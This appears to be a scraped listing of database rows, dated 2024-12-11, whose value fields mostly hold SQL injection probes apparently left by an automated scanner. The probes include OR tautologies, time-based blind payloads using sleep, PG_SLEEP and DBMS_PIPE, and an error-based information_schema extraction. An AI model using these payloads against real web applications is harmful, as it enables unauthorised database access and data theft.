301  1  1 2024-12-11 17864
300  -1 OR 2+621-621-1=0+0+0+1 --  1 2024-12-11 17864
299  -1 OR 2+661-661-1=0+0+0+1  1 2024-12-11 17864
298  1*if(now()=sysdate(),sleep(15),0)  1 2024-12-11 17864
297  1-1 OR 492=(SELECT 492 FROM PG_SLEEP(15))--  1 2024-12-11 17864
296  1-1) OR 651=(SELECT 651 FROM PG_SLEEP(15))--  1 2024-12-11 17864
295  1-1)) OR 326=(SELECT 326 FROM PG_SLEEP(15))--  1 2024-12-11 17864
294  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)  1 2024-12-11 17864
293  1  1 2024-12-11 17864
292  and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(115),CHAR(116),CHAR(105),CHAR(121),CHAR(49),CHAR(82),CHAR(49),CHAR(84)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and  1 2024-12-11 17864
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10]